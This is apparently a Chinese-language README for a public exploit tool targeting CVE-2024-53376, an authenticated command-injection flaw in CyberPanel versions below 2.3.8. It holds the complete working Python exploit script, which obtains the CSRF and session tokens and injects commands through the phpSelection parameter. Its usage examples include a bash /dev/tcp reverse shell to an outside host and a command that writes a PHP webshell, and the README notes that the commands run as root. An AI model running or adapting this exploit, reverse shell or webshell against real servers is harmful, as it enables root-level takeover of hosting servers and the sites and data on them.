CyberPanel 认证远程代码执行漏洞利用工具 (CVE-2024-53376)
本项目提供了一个针对 CyberPanel(一个流行的 web 托管控制面板)在版本 低于 2.3.8 时的身份验证远程代码执行(RCE)漏洞的利用工具。该漏洞存在于 /websites/submitWebsiteCreation 端点,允许已登录的攻击者通过操纵 phpSelection 参数注入任意操作系统命令。
功能特性
- 命令注入利用:通过构造特殊的 HTTP OPTIONS 请求,在创建网站流程中注入系统命令。
- CSRF Token 自动获取:工具自动处理登录前的 CSRF Token 提取。
- 会话管理:自动完成身份验证并获取 sessionId 用于后续授权请求。
- 灵活的命令执行:支持用户自定义要执行的系统命令(默认为
id > /tmp/rce #)。 - SSL 错误忽略:适配 CyberPanel 默认自签名证书环境,禁用 SSL 验证警告。
- 根权限执行:注入的命令将以 root 权限执行,可写入系统任意位置。
安装指南
系统要求
- Python 3.x
requests库
安装步骤
- 克隆本仓库或直接下载
cyberpanel.py脚本:
git clone https://github.com/ThottySploity/CVE-2024-53376.git
cd CVE-2024-53376
- 安装 Python 依赖:
pip install requests
注意:该工具无需额外复杂配置,仅依赖 Python 标准库和
requests模块。
使用说明
基础用法
python3 cyberpanel.py -t <目标URL> -u <用户名> -p <密码> [-c <命令>]
参数说明
| 参数 | 说明 | 是否必需 |
|---|---|---|
-t | CyberPanel 的 IP 地址或域名(例如 https://192.168.1.100:8090) | 是 |
-u | CyberPanel 登录用户名 | 是 |
-p | CyberPanel 登录密码 | 是 |
-c | 要执行的系统命令(默认:id > /tmp/rce #) | 否 |
典型使用场景
场景一:执行默认命令(写入 /tmp/rce 文件)
python3 cyberpanel.py -t https://192.168.1.100:8090 -u admin -p password123
执行后,会在目标服务器的 /tmp/rce 文件中写入 id 命令的输出结果。
场景二:执行自定义命令(反弹 Shell)
python3 cyberpanel.py -t https://target.com:8090 -u admin -p admin123 -c "bash -i >& /dev/tcp/192.168.1.200/4444 0>&1 &"
场景三:写入 Webshell
python3 cyberpanel.py -t https://target.com:8090 -u admin -p admin123 -c "echo '<?php system($_GET[cmd]);?>' > /usr/local/lsws/example.com/html/shell.php"
预期输出
[+] Obtained the following CSRFTOKEN: csrftoken=xxxxxx
[+] Obtained the following sessionId: sessionid=yyyyyy
[+] Exploit succeeded
[+] Executed: id > /tmp/rce #
漏洞利用原理
- 获取 CSRF Token:通过 GET 请求目标主页,从响应头中提取
csrftoken。 - 身份验证:使用用户名、密码和 CSRF Token 向
/verifyLogin端点发送 POST 请求,获取sessionid。 - 构造恶意请求:向
/websites/submitWebsiteCreation端点发送 OPTIONS 请求,在phpSelection参数中注入命令(例如PHP 8.0'; <command>; #)。 - 命令执行:后端在创建网站流程中未对
phpSelection进行充分过滤,导致注入的命令被系统执行。
核心代码
以下为核心利用脚本的关键代码片段及注释:
#!/usr/bin/python3
# CVE-2024-53376
# Exploit Title: CyberPanel - Authenticated Remote Code Execution (RCE)
# Exploit Author: Ryan Putman
import argparse, requests, json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 禁用 SSL 错误(CyberPanel 使用自签名证书)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-t', metavar='target', help='ip address or domain of Cyberpanel', required=True)
arg_parser.add_argument('-u', metavar='username', required=True)
arg_parser.add_argument('-p', metavar='password', required=True)
arg_parser.add_argument('-c', metavar='cmd', default='id > /tmp/rce #', help='command to execute')
args = arg_parser.parse_args()
# 获取用于身份验证的 CSRF token
csrf_token = requests.get(args.t, verify=False).headers.get('Set-Cookie').split(';')[0]
if len(csrf_token) > 0:
print(f"[+] Obtained the following CSRFTOKEN: {csrf_token}")
payload = {
"username": args.u,
"password": args.p,
"languageSelection": "english",
}
headers = {
'Cookie': csrf_token,
'Accept': 'application/json',
'X-Csrftoken': csrf_token.replace('csrftoken=', ''),
'Origin': 'https://localhost:8090',
'Referer': 'https://localhost:8090/',
'Connection': 'close'
}
# 获取用于授权的 sessionId
sessionId = requests.post(
"{}/verifyLogin".format(args.t),
headers=headers,
data=json.dumps(payload),
verify=False,
).headers.get('Set-Cookie').split(';')[1].replace(" Path=/, ", "")
if len(sessionId) > 0:
print(f"[+] Obtained the following sessionId: {sessionId}")
exploitHeaders = {
'Cookie': f'{csrf_token}; django_language=en; {sessionId}',
'Accept': 'application/json',
'X-Csrftoken': csrf_token.replace('csrftoken=', ''),
'Origin': 'https://localhost:8090',
'Referer': 'https://localhost:8090/',
'Connection': 'close'
}
# 构造恶意 payload,命令注入点位于 phpSelection 字段
exploitPayload = {
"package": "Default",
"domainName": "cyberpanel.net",
"adminEmail": "cyberpanel@gmail.com",
"phpSelection": f"PHP 8.0'; {args.c}; #", # 命令注入
"ssl":0,
"websiteOwner":"admin",
"dkimCheck":0,
"openBasedir":0,
"mailDomain":0,
"apacheBackend":0,
}
# 向漏洞端点发送恶意 OPTIONS 请求
exploitRequest = requests.options(f"{args.t}/websites/submitWebsiteCreation", headers=exploitHeaders, data=json.dumps(exploitPayload), verify=False)
if exploitRequest.status_code == 200:
print("[+] Exploit succeeded")
print(f"[+] Executed: {args.c}")
漏洞根源
在 websiteFunctions/views.py 的 submitWebsiteCreation 函数中,用户可控的 phpSelection 参数未经充分过滤即被传递到底层系统命令执行函数(如 website.py 中的 submitWebsiteCreation),导致攻击者可以注入任意命令并以 root 权限执行。
6HFtX5dABrKlqXeO5PUv/63xAB/C5+AW4zPvj2B7cmo=